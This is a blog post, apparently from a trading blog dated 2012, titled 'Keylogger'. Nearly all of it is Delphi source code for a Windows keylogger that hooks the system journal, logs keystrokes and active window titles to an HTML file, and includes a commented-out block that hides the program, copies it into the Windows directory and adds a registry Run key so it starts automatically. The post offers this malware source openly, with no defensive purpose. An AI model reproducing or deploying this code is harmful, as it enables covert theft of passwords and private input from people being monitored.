Ads 468x60px

Smaller time frame always follow the bigger time frame. It's better wait be patience to enter in position than risk with BIG SL. Having strong trading discipline and taking losses when necessary is a sign of serious trading approach

Sunday, April 22, 2012

Keylogger

unit unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, Buttons, StdCtrls, ExtCtrls;




type
TMainForm = class(TForm)
Memo: TMemo;
FinalMemo: TMemo;
btnClearLogs: TSpeedButton;
btnUpdateLogfile: TSpeedButton;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure btnUpdateLogfileclick(Sender: TObject);
procedure btnClearLogsclick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
MainForm: TMainForm;
fileSource, fileDest: string;
KBHook: HHook;
Wnd1,Wnd2 : array[0..255] of char;






implementation

{$R *.dfm}


{-------------------------autostartup procedure----------------------------}



procedure AddStartup(rName:string; rFile:string);
var
Reg : TRegistry;
begin
Reg := TRegistry.Create;

Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('Software\Microsoft\Windows\CurrentVer sion\Run', False);
Reg.WriteString(rName, rFile);
Reg.Free;
end;


{--------------------------getwindows dir-----------------------------------}



function GetWinDir: string;
var
dir: array [0..MAX_PATH] of Char;
begin
GetWindowsDirectory(dir, MAX_PATH);
Result := StrPas(dir);
end;


{_----------------------------key hook proc---------------}


function KeyboardHook(Code: Integer; wParam : WPARAM;
lParam : LPARAM): Longint; stdcall;
var
Buffer : TEventMsg;

procedure TranslateKey(Key : Byte);
begin
if (Key <> VK_LBUTTON) and (Key <> VK_RBUTTON) then
begin
GetWindowText(GetForegroundWindow, Wnd2, SizeOf(Wnd2));
if wnd1 <> wnd2 then
begin
MainForm.Memo.Lines.Add('<hr><font color="#FFFFFF"><b>'+wnd2+'</b></font><br>');
Wnd1 := Wnd2;
end;
end;
with MainForm do
begin
case Key of
VK_RETURN : Memo.Lines.Add('<font color="#FFFF00"><b>[Enter]</b><br></font>');
VK_BACK : Memo.Lines.Add('<font color="#FFFF00"><b>[Backspace]</b></font>');
VK_ESCAPE : Memo.Lines.Add('<font color="#FFFF00"><b>[Esc]</b></font>');
VK_SHIFT : Memo.Lines.Add('<font color="#FFFF00"><b>[Shift]</b></font>');
VK_MENU : Memo.Lines.Add('<font color="#FFFF00"><b>[Alt]</b></font>');
VK_CONTROL : Memo.Lines.Add('<font color="#FFFF00"><b>[Ctrl]</b></font>');
VK_DELETE : Memo.Lines.Add('<font color="#FFFF00"><b>[Delete]</b></font>');
VK_SPACE : Memo.Lines.Add(' ');
VK_MULTIPLY : Memo.Text := Memo.Text + '<font color="#FF0000">*</font>';
VK_ADD : Memo.Text := Memo.Text + '<font color="#FF0000">+</font>';
VK_SUBTRACT : Memo.Text := Memo.Text + '<font color="#FF0000">-</font>';
VK_DECIMAL : Memo.Text := Memo.Text + '<font color="#FF0000">.</font>';
VK_DIVIDE : Memo.Text := Memo.Text + '<font color="#FF0000">/</font>';
188 : Memo.Text := Memo.Text + '<font color="#FF0000">,</font>';
192 : Memo.Text := Memo.Text + '<font color="#FF0000">`</font>';
222 : Memo.Text := Memo.Text + '<font color="#FF0000">'+Chr(39)+'</font>';
220 : Memo.Text := Memo.Text + '<font color="#FF0000"></font>';
219 : Memo.Text := Memo.Text + '<font color="#FF0000">[</font>';
221 : Memo.Text := Memo.Text + '<font color="#FF0000">]</font>';
186 : Memo.Text := Memo.Text + '<font color="#FF0000">;</font>';
191 : Memo.Text := Memo.Text + '<font color="#FF0000">/</font>';
190 : Memo.Text := Memo.Text + '<font color="#FF0000">.</font>';
44 : Memo.Text := Memo.Text + '<font color="#FF0000">,</font>';
187 : Memo.Text := Memo.Text + '<font color="#FF0000">=</font>';
189 : Memo.Text := Memo.Text + '<font color="#FF0000">-</font>';
65 : Memo.Text := Memo.Text + '<font color="#0000FF">a</font>';
66 : Memo.Text := Memo.Text + '<font color="#0000FF">b</font>';
67 : Memo.Text := Memo.Text + '<font color="#0000FF">c</font>';
68 : Memo.Text := Memo.Text + '<font color="#0000FF">d</font>';
69 : Memo.Text := Memo.Text + '<font color="#0000FF">e</font>';
70 : Memo.Text := Memo.Text + '<font color="#0000FF">f</font>';
71 : Memo.Text := Memo.Text + '<font color="#0000FF">g</font>';
72 : Memo.Text := Memo.Text + '<font color="#0000FF">h</font>';
73 : Memo.Text := Memo.Text + '<font color="#0000FF">i</font>';
74 : Memo.Text := Memo.Text + '<font color="#0000FF">j</font>';
75 : Memo.Text := Memo.Text + '<font color="#0000FF">k</font>';
76 : Memo.Text := Memo.Text + '<font color="#0000FF">l</font>';
77 : Memo.Text := Memo.Text + '<font color="#0000FF">m</font>';
78 : Memo.Text := Memo.Text + '<font color="#0000FF">n</font>';
79 : Memo.Text := Memo.Text + '<font color="#0000FF">o</font>';
80 : Memo.Text := Memo.Text + '<font color="#0000FF">p</font>';
81 : Memo.Text := Memo.Text + '<font color="#0000FF">q</font>';
82 : Memo.Text := Memo.Text + '<font color="#0000FF">r</font>';
83 : Memo.Text := Memo.Text + '<font color="#0000FF">s</font>';
84 : Memo.Text := Memo.Text + '<font color="#0000FF">t</font>';
85 : Memo.Text := Memo.Text + '<font color="#0000FF">u</font>';
86 : Memo.Text := Memo.Text + '<font color="#0000FF">v</font>';
87 : Memo.Text := Memo.Text + '<font color="#0000FF">w</font>';
88 : Memo.Text := Memo.Text + '<font color="#0000FF">x</font>';
89 : Memo.Text := Memo.Text + '<font color="#0000FF">y</font>';
90 : Memo.Text := Memo.Text + '<font color="#0000FF">z</font>';
{ Numpad Keys }
VK_NUMPAD0 : Memo.Text := Memo.Text + '<font color="#00FF00">0</font>';
VK_NUMPAD1 : Memo.Text := Memo.Text + '<font color="#00FF00">1</font>';
VK_NUMPAD2 : Memo.Text := Memo.Text + '<font color="#00FF00">2</font>';
VK_NUMPAD3 : Memo.Text := Memo.Text + '<font color="#00FF00">3</font>';
VK_NUMPAD4 : Memo.Text := Memo.Text + '<font color="#00FF00">4</font>';
VK_NUMPAD5 : Memo.Text := Memo.Text + '<font color="#00FF00">5</font>';
VK_NUMPAD6 : Memo.Text := Memo.Text + '<font color="#00FF00">6</font>';
VK_NUMPAD7 : Memo.Text := Memo.Text + '<font color="#00FF00">7</font>';
VK_NUMPAD8 : Memo.Text := Memo.Text + '<font color="#00FF00">8</font>';
VK_NUMPAD9 : Memo.Text := Memo.Text + '<font color="#00FF00">9</font>';
{ Numbers }
48 : Memo.Text := Memo.Text + '<font color="#00FF00">0</font>';
49 : Memo.Text := Memo.Text + '<font color="#00FF00">1</font>';
50 : Memo.Text := Memo.Text + '<font color="#00FF00">2</font>';
51 : Memo.Text := Memo.Text + '<font color="#00FF00">3</font>';
52 : Memo.Text := Memo.Text + '<font color="#00FF00">4</font>';
53 : Memo.Text := Memo.Text + '<font color="#00FF00">5</font>';
54 : Memo.Text := Memo.Text + '<font color="#00FF00">6</font>';
55 : Memo.Text := Memo.Text + '<font color="#00FF00">7</font>';
56 : Memo.Text := Memo.Text + '<font color="#00FF00">8</font>';
57 : Memo.Text := Memo.Text + '<font color="#00FF00">9</font>';
//to capture other keys you must uncomment the line below:
//else Memo.Text := Memo.Text + Chr(Key);
end;
end;
end;

begin
Result := 0;
Buffer := PEventMsg(lParam)^;

if Buffer.Message = WM_KEYUP then
begin
TranslateKey(Buffer.paramL);
end;
end;


{----------------appstart----------------------------}


procedure TMainForm.FormCreate(Sender: TObject);
begin

{Application.ShowMainForm:=False;
fileSource := paramstr(0);
fileDest := GetWinDir + '\file.exe';
CopyFile(PChar(fileSource), PChar(fileDest), False);
addstartup ('file', GetWinDir + '\file.exe');
}

KBHook := SetWindowsHookEx(WH_JOURNALRECORD, KeyboardHook, hInstance, 0);
DeleteFile('log.html');


end;

procedure TMainForm.FormDestroy(Sender: TObject);
begin
UnhookWindowsHookEx(KBHook);
end;


procedure TMainForm.btnUpdateLogfileClick(Sender: TObject);
begin
//save captured keystrokes to HTML file
FinalMemo.Lines.Add('<body bgcolor="#000000">');
FinalMemo.Lines.Add(Memo.Text);
FinalMemo.Lines.SaveToFile('log.html');
FinalMemo.Lines.Add('</body>');
Memo.Clear;
end;

procedure TMainForm.btnClearLogsClick(Sender: TObject);
begin
//clear the logs
FinalMemo.Clear;
end;

end.
comments